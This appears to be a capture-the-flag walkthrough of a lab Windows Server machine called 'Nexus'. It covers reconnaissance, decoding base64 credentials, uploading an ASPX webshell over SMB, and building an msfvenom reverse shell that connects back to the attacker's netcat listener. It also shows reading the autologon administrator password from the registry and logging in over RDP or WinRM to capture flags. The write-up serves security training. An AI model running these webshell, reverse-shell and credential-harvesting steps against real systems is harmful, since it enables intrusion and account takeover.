

Nexus - Windows Machine

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Host Discovery

```
(kali㉿kali)-[~/Desktop]
$ sudo netdiscover -i eth1 -r 192.168.56.0/24
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.56.1	0a:00:27:00:00:09	1	60	Unknown vendor
192.168.56.100	08:00:27:e4:e4:88	1	60	PCS Systemtechnik GmbH
192.168.56.172	08:00:27:35:cf:61	1	60	PCS Systemtechnik GmbH

Note: The ip-address will look different from this. You may need to adjust the interface (i.e eth0, eth1...etc) and the network (192.168.2.0/24).

Nmap

```
(kali㉿kali)-[~/Desktop]
$ sudo nmap -vv -Pn -R -sV -sC -p- 192.168.56.172
```

```
PORT      STATE SERVICE          REASON          VERSION
80/tcp    open  http             syn-ack ttl 128 Microsoft IIS httpd 10.0
|_ http-title: PenTest - Dev
|_ http-methods:
|_   Supported Methods: OPTIONS TRACE GET HEAD POST
|_   Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
135/tcp    open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
139/tcp    open  netbios-ssn      syn-ack ttl 128 Microsoft Windows netbios-ssn
445/tcp    open  smb              syn-ack ttl 128 Windows Server 2019 Standard Evaluation 17763 microsoft-ds
3389/tcp   open  ssl/ms-wbt-server? syn-ack ttl 128
|_ ssl-cert: Subject: commonName=WIN-U4FI1VQQUMF
|_ Issuer: commonName=WIN-U4FI1VQQUMF
|_ Public Key type: rsa
5985/tcp   open  http             syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp   open  http             syn-ack ttl 128 Microsoft IIS httpd 10.0
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: 192.168.56.172 - /
|_ http-methods:
|_   Supported Methods: OPTIONS TRACE GET HEAD POST
|_   Potentially risky methods: TRACE
47001/tcp  open  http             syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
49664/tcp  open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
49665/tcp  open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
49666/tcp  open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
49667/tcp  open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
49668/tcp  open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
49669/tcp  open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
49670/tcp  open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
49671/tcp  open  msrpc            syn-ack ttl 128 Microsoft Windows RPC
49801/tcp  open  http             syn-ack ttl 128 Microsoft IIS httpd 10.0
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: IIS Windows Server
|_ http-methods:
|_   Supported Methods: OPTIONS TRACE GET HEAD POST
|_   Potentially risky methods: TRACE
MAC Address: 08:00:27:35:CF:61 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Dirb

```
(kali㉿kali)-[~]
$ dirb http://192.168.56.172:49801
```

```
---- Entering directory: http://192.168.56.172:49801/secret/ ----
==> DIRECTORY: http://192.168.56.172:49801/secret/backup/
==> DIRECTORY: http://192.168.56.172:49801/secret/css/
==> DIRECTORY: http://192.168.56.172:49801/secret/img/
+ http://192.168.56.172:49801/secret/index.html (CODE:200|SIZE:14519)
==> DIRECTORY: http://192.168.56.172:49801/secret/uploads/
```

Dirb is very good at finding directories, however not good at finding files.

Source Code

A quicker way to look at source code would be to use the tool 'HTTPIe'. However, the basic web-inspection will be adequate.

```
<div class="w3-section">
  <label class="dXNlcm5hbWU6c2ltdGxldXNlciANCg==">Message</label>
  <input class="w3-input w3-border" type="text" name="Message" required="">
</div>
```

You can use Kali's base64 tool to decode it.

```
(kali㉿kali)-[~/Desktop]
$ echo 'dXNlcm5hbWU6c2ltdGxldXNlciANCg==' | base64 -d
username:simpleuser
```

Now find the password.

FFuf

FFuf is a good tool to find files (you can also use Gobuster).

```
kali㉿kali)-[~/Desktop]
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.56.172:49801/secret/backup/FUZZ -e .txt
```

```
secret.txt [Status: 200, Size: 24, Words: 1, Lines: 1, Duration: 4ms]
```

```
192.168.56.172:49801/secret/backup/secret.txt
```

```
cGFzc3dvcmQ6bVkkM2IhYTg=
```

```
(kali㉿kali)-[~/Desktop]
$ echo 'cGFzc3dvcmQ6bVkkM2IhYTg=' | base64 -d
password:mY$3b!a8
```

SMBMap

Now that a username and password have been discovered, SMBmap will now allow write access.

This is without password and username you will not be able to upload content or view backup.

[+] IP: 192.168.56.172:445	Name: 192.168.56.172	Status: Authenticated	
Disk		Permissions	Comment
----		-----	-----
ADMIN\$		NO ACCESS	Remote Admin
C\$		NO ACCESS	Default share
Developer		READ ONLY	
IPC\$		READ ONLY	Remote IPC

With discovered credentials.

```
smbmap -u "simpleuser" -p 'mY$3b!a8' -H 192.168.56.172
```

[+] IP: 192.168.56.172:445	Name: 192.168.56.172	Status: Authenticated	
Disk		Permissions	Comment
----		-----	-----
ADMIN\$		NO ACCESS	Remote Admin
C\$		NO ACCESS	Default share
Developer		READ, WRITE	
IPC\$		READ ONLY	Remote IPC

SMBClient

```
└─$ smbclient \\\\192.168.56.172\\Developer -U simpleuser
Password for [WORKGROUP\\simpleuser]:
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0   Thu Nov  9 01:50:20 2023
..               D           0   Thu Nov  9 01:50:20 2023
iisstart.htm     A          703   Thu Nov  9 01:34:26 2023
iisstart.png     A       99710   Thu Nov  9 01:34:26 2023
secret           D           0   Fri Nov 10 19:11:26 2023
```

Flag 1

Navigating to the /backup/ directory you will see a text file containing the easy flag.

```
smb: \secret\backup> dir
.
..
easy_flag.txt
secret.txt
```

```
└─$ cat easy_flag.txt
flag{Us3r_F1@g}
```

Now a backdoor can be installed, inside the /uploads/ directory.

```
└─(kali㉿kali)-[~/Desktop]
└─$ cp /usr/share/webshells/aspx/cmdasp.aspx .
```

```
smb: \> put cmdasp.aspx
putting file cmdasp.aspx as \cmdasp.aspx (455.7 kb/s) (average 455.7 kb/s)
```

```
smb: \secret\uploads> dir
.
..
cmdasp.aspx
```

MSFVenom

```
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=9999 -f exe > revshell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
```

Make sure the shell is x64, otherwise you will have to use method 2. Upload the reverse shell to the /secret/uploads directory.

```
smb: \secret\uploads> put revshell.exe
putting file revshell.exe as \secret\uploads\revshell.exe (6552.0 kb/s) (average 6552.0 kb/s)
```

Then setup a reverse shell listening on the port you set during the payload creation.

```
→ 192.168.56.172/secret/uploads/cmdasp.aspx
KALI Text Decoder Powerful Websites Information Tools How To Web Tools GitHub
```

Command:

Command: C:\inetpub\wwwroot\secret\uploads\revshell.exe

From here you can continue or scroll down to [method 2](#) (which is quicker).

Type in the command mentioned above to connect to the NetCat.

```
└─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.172] 49684
Microsoft Windows [Version 10.0.17763.3650]
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c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>
```

Escalation

The WinLogon feature automates the login process, however this can lead to compromised credentials.

Query the registry.

```
PS C:\windows\system32\inetsrv> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

AutoAdminLogon REG_SZ 1
DefaultPassword REG_SZ sup3rHarDpA55w0rd
AutoLogonSID REG_SZ S-1-5-21-3855568493-3
LastUsedUsername REG_SZ Administrator
```

Now it's time to use xfreerdp for server access, you can also use Evil-WinRM.

```
(kali㉿kali)-[~/Desktop]
└─$ xfreerdp /u:Administrator /p:sup3rHarDpA55w0rd /v:192.168.56.172

(kali㉿kali)-[~]
└─$ evil-winrm -i 192.168.56.172 -u Administrator -p 'sup3rHarDpA55w0rd'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting
Data: For more information, check Evil-WinRM GitHub: https://github.com/f
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> |
```

Flag 2

The hard flag is in the administrator documents directory.

```
C:\Users\Administrator\Documents>type hard_flag.txt
flag{ADM!n!S7r@70r_FL@g}
C:\Users\Administrator\Documents>_
```

Method 2

After you have put in the cmdasp.aspx file inside the SMB share, you can query the registry from there.

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1 Command: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoRestartShell
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ
DefaultUserName REG_SZ Administrator
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
ShellAppRuntime REG_SZ ShellAppRuntime.exe
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x4edbb690d
ShutdownFlags REG_DWORD 0x80000027
AutoAdminLogon REG_SZ 1
DefaultPassword REG_SZ sup3rHarDpA55w0rd
AutoLogonSID REG_SZ S-1-5-21-3855568493-3365346640-3195858837-500
LastUsedUsername REG_SZ Administrator
```

Sometimes the other way will not work, so this is a good alternative.

END OF WALKTHROUGH